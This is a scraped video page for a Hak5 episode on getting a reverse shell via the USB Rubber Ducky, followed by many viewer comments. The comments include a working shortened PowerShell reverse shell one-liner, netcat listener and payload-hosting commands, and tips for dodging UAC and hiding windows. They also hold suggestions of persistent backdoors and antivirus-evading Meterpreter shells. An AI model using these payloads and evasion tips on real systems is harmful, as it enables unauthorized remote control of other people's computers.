How to Get a Reverse Shell in 3 Seconds with the USB Rubber Ducky - Hak5 2110
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- เผยแพร่เมื่อ 13 มิ.ย. 2024
- Hak5 -- Cyber Security Education, Inspiration, News & Community since 2005:
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In this episode of Hak5, we're creating a reverse shell with the USB Rubber Ducky that exploits a target computer in less than 3 seconds!
Find complete show notes and USB Rubber Ducky payload details at www.hak5.org/episodes/hak5-21...
USB Rubber Ducky at the HakShop by Hak5: hakshop.myshopify.com/products...
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Just a tip for anyone that may run into this issue like I have: When you write Ducky code to run CMD (or whatever you choose to open with the RUN command) and simulate the 'ALT + Y' key combination to select the 'Yes' button on the UAC dialog prompt, it's a good idea to follow up on the next line with a 'BACKSPACE' keystroke in the chance you're deploying onto a user's machine that has his/her UAC turned off. Otherwise, if you don't account for UAC being disabled, your first line of code typed into the CMD window will be prefixed with a 'y' character leading off (which of course throws an error and renders the whole payload useless). Pressing backspace as the first key press on a machine that does have UAC enabled will effectively do nothing at all since there's nothing to delete. It's a win-win and you don't have to deal with the irony of your attack being thwarted by someone who has disabled a feature meant to make them safer. It's like leaving your front door open only to have a thief knock himself out cold by walking into the knife edge of the opened door. Haha >.
Chris Evans you legend i have been getting "y mode is not a recognised command" thanks for the info
Mitch Maguny Awesome! Glad it helped. Just a note: Pressing CTRL + C is actually quicker and easier than pressing Left Arrow + Delete. But either one works ;)
Chris Evans So the next line literally reads CTRL + C ?
Mitch Maguny It would literally read CTRL C (if you're talking about the ducky code format). Here's an example screenshot of what that section of code would look like: i.gyazo.com/a295f2c5e4c46ae1c57767e95e516c4f.png
Ok thanks for that i have only managed to get 2 scripts working so far.I have issues with the twin duck saving files to my drive.
1 sticker = +0.3 CPU cores
So this guy has ca. 9999999 CPUs? 😂🤘🏼
Lol😂
Dont' buy stickers :D Just download more RAM LOL. Or RGB 1 led +2 gpu and + 999999999 fps
@@kubakaktus_ big brain time
Skickar stickers
I can't help being distracted by the button presses to change cameras.
You made me realize it, can't stop paying attention to it now.
Lol mee to, I was noticing this 😁
but if he's shooting all this live with no post production editing.. mad props.
Same XD
Its so cool right!??!!
Always run your listener with( nc -lvnp 8080 ), so you know you got the incoming connection. It enables verbose mode.
"These hacker stickers make it go faster" -Darren
Loooooool
@gain, thank you for all this information. yall always present the info in ways I can keep attention... thank U
Very good stuff. And the Powershell-script-download-based tactic you show here is a lot more useful, from a practical standpoint, than the Mr. Robot-featured Rubber Ducky attack that you made a vid on a few weeks ago. This doesn't require the logged-in user having admin privileges, and it gets you a shell (from which you can try to do anything you like, including trying to find a way to eventually elevate your privileges to admin and then dump credential hashes). A suggestion: it would be really neat to see a vid where you use a Powershell script along with Empire, Metasploit, or another tool to install a *persisting* backdoor that gets restarted each time a user logs in and periodically reaches back to your server on a schedule of your liking to create a reverse shell or get instructions. .
Got the single stage payload down to a 256 char run command. \o/
Cool! Please share!
you guys rock....thanks for the tetra , turtle and ducky....helped change my life !
I didn't know about the php -S thing. Neat!
I'm glad to have found this channel since it is very good topics, good presentation and interesting to watch. Thanks sooo much!
Reverse shells can be better because a program calling out usually has an easier time getting through a firewall than a program trying to call into a computer.
That little php server command is *gold*. Thanks sooo much!
when doing this the powershell window stays open, and when closed it closes the session. Is this normal, and if so, can we change the script of the powershell to change this?
I love the energy, you guys ae so fun to watch,
cool guys doing cool stuff
Denver is at 5280 and that airport is a circus of madness
did you catch the crazy apocalypse mural in the concors...
YES! In fact, I'm going to post some videos of it on my personal youtube page soon... That place was SO WEIRD. - Shannon (th-cam.com/users/shannonmorse)
You two ROCK. I love every one of your videos. Keep it up.
Thank you!
You are welcome. Any time I can help out.
Shannon Morse is the best example of nominative determinism I have seen in quite a while!
OMG thanks to your shirt I just realized that the toor in toorcon is root spelled backwards. I'm ashamed I didn't figure that out sooner. it might also help to actually go or look more into it.
Awesome channel!!!
Keep it up!
And btw....
Y U NO USE VIM??? :P
If you want to go mobile with Netcat, on Android you can use the netcat binary that comes with Busybox (if it's installed, that is).
ty .. using a Win32 API call to AttachConsole() + a WScript.Shell object ( see MSDN for docs on both ) with the Write method would allow you to exec a command stream more reliably and covertly ( unless that's what you're doing already ).
If not, the problem you can run into is needing to keep the console focused. The upside is Powershell can instantiate shell objects and make Win32 API calls ;).
How to change the keyboard layout from Arduino Mini (Pro Micro) to QWERTZ ? have problems with german (QWERTZ) keyboard layouts :c
Man miss these episodes
I love your channel so much😍😍
Command Prompt has actually been around since Windows 2000 because Windows 2000 was the first version of Windows to be based on the NT kernel and not the win9x kernel. All win9x version's of Windows were essentially running on top of MS-DOS, and 2000 and newer were NOT based upon MS-DOS, that's why cmd.exe exists in those OS's.
*So I have a question:* If you don't have access to admin CMD, you can just use regular and write it to the user or temp directory, right? Okay, then, the firewall might block it, but if it is just communicating on the LAN, then the network is set to "Trusted" by default, right? So no privileges needed?
You could create a new virtual desktop or workspace (I'm not sure how it's called in windows) to hide a window
Hi Daren if you want a pretty shell just do the same for the meterpreter shell and it's more or less the same time
❤️😁 المشكله تاخذ وقت طويل 😁
احسن شي احسن من روبر دوكي الهندسه العكسيه باستخدام جافا و الفايربيز 😊 قريباً اكملها انشالله 😁
. ال روبردوكي يخوف المستخدم اغلب المستخدمين يخافون من نافذة الامليتور.
صراحه صار 4 سنوات اتابع قناة هاك5 و هي من افضل مصادري على الانترنت و بعد قناة
hak5
project 313
و بعد قناتين حلوات 😁❤️
am very thankful 🙏 to know you guys 😁❤️
from iraq
If we use the faster way, it needs to download something from a website (in this video Darren's PHP server), which is a concern that already stated at the very beginning of the video isn't it?
So if I understand correctly this means we can't get both advantage of high-injection-speed and high-success-chance right? Its a trade-off like, either 1)I sacrifice chance of success by having fast injection through downloading PS script, or 2) do this without downloading the PS script to have a higher chance, but with slower-injection.
is there a place to download the 20 second, first script they used at 5:00. i cant find it on their website/the rest of the internet
u can completely hide the CMD prompt from showing up by opening up a separate window using crtl+win+d and once the CMD is executed, u can bo back to the window and delete it... and since going back and deleting will only take like milliseconds... it won't be mostly noticible...
I kinda wish HaK5 would sell the bare minimum Tablet/Portable PC, but make it plug n play style. Branch Out and Expand HaK5!
The only thing I see wrong with this is the problem with it not running as administrator. You'd need to have that same ~3 second delay to run
powershell StartProcess powershell -verb RunAs
then continue with downloading the PS script.
Excellent !
Anyone know where to get Darren's T-Shirt?
That shirt is a must!
Does the usb duck have to be permanently in the usb socket of the second computer during the connection or is it enough to insert it for a while while the script is loaded?
keep up the good work
`sudo python -m SimpleHTTPServer 80` serves the current directory (`pwd` so you'll need to `cd` first), alternative to the php command as most distros are likely to already have python installed
"python -m SimpleHTTPServer "
you guys so dope !!
How about just enabling remote desktop, new admin user and slowing in firewall. Done and no code for defender to hit on.
would using msfvenom to make a payload, and then emailing it to the victim via a fake email account, and then using the msfconsole to use an exploit to the activate the payload be practical?
SMA sockets on a tin box is good, gives the RF signal a better ground plane..
Just use the back doors factory, social engineering tools and host the reverse she'll payload. It would be a Meterpreter shell that bypasses Antivirus.
Ok I’m using nc on. My macOS Catalina terminal using the command nc -l -p 8080 . I get the error no: missing port with option -l. Any ideas on what could be going wrong?
I've seen a number of videos on reverse shell. Could they be used to fix a computer with a software problem since you can see everything one it? Could they be used to modify a computer such as to install a working new operating system?
Of course not. The reverse shell is running as long as the box is connected to the internet and is constantly running the backdoor. It's not possible to install a new OS as you have to 1) go into bootloader 2) get onto the new OS and then install the OS into bootloader and drive partition. This process will involve rebooting, OS switching, to the point where you cannot use an internet-based reverse shell to do it, and the program will have to installed anew on the *nix OS or whatever OS you would like even if you tried to actually pull it off. That means you'd probably have to flash a new script for the *nix system.
Long story short, it isn't going to work.
@@skuldug1250
Your comment is interesting. Question: Could the reverse shell order an attack computer to shutdown or do a changeroot?
@@karlbergen6826 shutdown should work. chroot is a *nix operation, it's not (afaik) natively possible on windows but I also don't see the benefits of it -- what would be your goal?
Thoughts : jpeg with embedded nano script utilizing the single stage reverse power shell script?
Iv'e searched the comments for anything pertaining towards my question but can't seem to find anything!
So it seems that this method relies on two conditions being true
1. The user or victim must be logged in
2. The domain this victim is connected to isn't enforcing some sort of group policy (GPO is very common amongst any competent tech team)
My question is how can one install netcat on the victim machine if the target does not have any sort of admin privileges for that particular user due to GPO.
This is like the same thing I posted on there forum but way better lol mine just used the standard Net Cat executable in a zip file in a drop box extracted then ran with cmd via vbs to make it run invisibly. Any way nice job I didn't think this could have been done faster I honestly never thought about a powershell version netcat.
So once the command is run and terminal is open on windows system how do you make that either nt view able or make the power shell close?
Will this give us consistent access to the computer ? Or just once?
Will use rubber ducky work if used is blocked on the computer??
hak5 will you be selling any more field kits I can't find on your website xD
Heya, I rly want to do this to prank my friend but I am scared I am going to damage my friends laptop. Is there a way where I can remove the reverse shell on his pc, if so can I do it remotely ?
What laptop are you using for linux?
Question: How does this work if powershell is in Contrained Language mode?
The powershell window never goes away which really gives it away, even if you hide it in the corner. This seems really good if all you want to do is use it to put a more stable reverse shell on it or grab one quick file.
There is a powershell command to execute files but with the -hiddenWindow arg it will launch whout a window.
@@googlemail369 you gotta telegram or discord? Id like to ask a couple questions bout this if you don’t mind.
@@googlemail369 thanks to window header libs, was able to implement same in a cpp payload
...and what might you do if Run is disabled?
can i make my flash drive to be usb rubber ducky ? if yes can u give me a link to a paper or information like that
Also how can i get access to hidden directories.
is shannon using a mini laptop? what is it
Nice i really like you guys from morroco , and i would lik if you present any leasson as hackers in moroco for cyber security presentation 😍😍
Haha I always rep and tag you guys on social media for thousands and thousands to see 😊 I would scream in excitement if I ever won anything from you guys 😂
I love the USB Ducky, But the only problem I have is the driver load time on a lot of machines, being a simple HID device, I didnt think it would have to search windows update for a driver and download it, please if their is a bypas to make the install faster let me know!
If you make this a generic keyboard, the driver should already be there.
Aren't these power shell scripts mitigated by a good group policy that prevents users from running power shell let alone that downloadstring command
best blooper ever :)
I managed to get the script down to 258 characters. Everything was going smoothly until I remembered "Oh yeah, you have to invoke powershell in there as well." Back up to 269 we go. Failsauce.
Anyway, here's the shortened script:
nal f New-Object;$s=(f Net.Sockets.TCPClient(4294967295,8)).GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne0){;$d=(f Text.UTF8Encoding).GetString($b,0,$i);$t=([text.encoding]::UTF8).GetBytes((iex $d 2>&1));$s.Write($t,0,$t.Length)}
converted variable names from 2 characters to 1 (10 characters)
deleted unnecessary white spaces (2 characters)
converted ip address to a 64 bit integer and removed the quotes( (o1*2^24)+(o2*2^16)+(o3*2^8)+(o4) ) (7 characters)
moved to port 8 (3 characters)
switched to utf-8 encoding (2 characters)
created alias f for new-object (1 character)
BTW: The character cap on the windows run box is actually only 259 characters.
what laptops do they use?
You could use the social engineering toolkit "SET" and setup a reverse https meterpreter shell.
He's my friend and a whole lot more! Ha! Denver... Awesome
Can u make a video on hiding payloads in image files for reverse shell
Can you "hotswap" between a hid to mass storage and put a file into the disk then switch over to a hid then run said file?
There is an alternative to the Rubber Ducky firmware called Twin Duck, it makes it able to have both HID and mass storage
Bash bunny can do both
Couldn't you just create the executeable from typing the text you would get if you would of opened it in notepad?
I need to compile a duckyscript txt file that I wrote originally for my USB Rubber Ducky.
But now I need to find a way to run the script as an exe file locally.
¿How can I make this posible? ¿How can I compile the script to an exe file?
should i get a Rasbery pi 3 for kali linux?
TopGamingStudio any Pi will work, then again so will a USB jammed in a laptop with persistence
that's what she said
yes but i will be testing websites vulnerabilities and im just wondering will it be fast enough? to do anything
a persistence usb with Kali installed might be a better idea
MrX
Would still beat most of the rPi models...
First computerphile puts out a video about malware, then you guys? Now you're making me want to get back into the hacking game...
what linux distro are you using
Kali
Do like elie bursztein and have the usb get a reverse tcp meterpreter connection and you will have a prettier shell with clearer commands! Look up mal usb! But otherwise awesome stuff! 👍🤓
Can I use an autorun usb with power shell scripts
if stickers make it faster, then I need a lot of them
Hey does anyone still have the script as its removed from their page.
By the way it was really interesting and juicy knowledge
i made this 0.5 seconds
Kryštof Píštěk it really depends on target computer. I don't know about 0.5 seconds, but lowering the initial delay is possible.
0.1
0.0 hehehehehe jk
how?
Hahaha
¿Why is the JAVA -jar XXXX command for?
wouldn't it be faster to write to notepad and convert the filename to .bat?
Gut 😊
Cool to see that Chad Kroeger finally gave up on Nickelback
Congratulations !!! Made In Brazil - :-)
Does somebody know how to utilize the Ducky on an Android phone? None of the payloads i found work for me, neither do any shortcuts for physical keyboards connected to Android. If anybody has a working payload for Android (any kind really), would you mind pointing me to it? Or did Android remove some HID funtionality in any newer version?
First, attach the ducky through a USB OTG adapter or you achieve nothing connecting USB slave to USB slave. Then, Android doesn't provide neat keyboard shortcuts. You may have your ducky emulate a keyboard and a mouse, and use the mouse to click things... except every phone will have things elsewhere as people install different things and the icons are in random places. Your best bet is to emulate a USB to serial converter, hope the phone has debug options enabled (or try enabling them through mouse clicks) and use ADB shell that will then appear over USB-as-RS232
Where can you get this payload?
when you want to buy a sticker for 2:50 but it costs 40$ shipping
does it still works when the cmd is closed? Because the victim might notice and just exit immidiately
If so then it's Completely Useless.
Love ya you are so good
Nice! I did something similar with an arduino nano iot with a led screen to "hack" wifi passwords easily. I would connect it to usb and use it as a keyboard to get the current connected wifi, list the password with key clear and send it back through COM to be shown in the LCD.
Just for the fun of seeing your friends face when you ask to connect to the wifi and instead of asking for the key you ask to connect that stuff full of dupont cables in a test board to the USB to get it XDDDDDD
Faster and more intense.
Put some rubber on it(^.-) (-.^) (^.^)
On another note, how would you connect to the reverse shell? What would you define as your end point.
Sending it directly to your own equipment at your house isint very sneeky, so if we think "bad hackers" here. Would you
than use a "barrowed" credit card to connect to some encrypted GSM equipment paid with that card and forward the connection to yourself or what ideas comes to mind?
Do ports exist physically or are they just software mechanisms?
Well, sure, you have USB ports and such. But mainly ports are pretty much "addresses"/communication endpoints which apps can listen on (which means that when packets arrive dedicated to a specific port they get easily forwarded to the application listening on the port). So 80 is the standard port for internet traffic, and a packet traveling over the internet would have xxx.xxx.xxx.xx:80 as the destination.
In fact, if you were to use an encrypted reverse shell, setting it to port 80 is a great idea because that port is always open, and the encrypted binaries just look like random passing by data. Very sneaky...
I'm going to do this on my zip disk
Disk OS......
What happened to dirty operating system
What is that thing Shannon is on?
FASTER AND MORE INTENSE!!! xD
That's what she said.
What laptop do you use?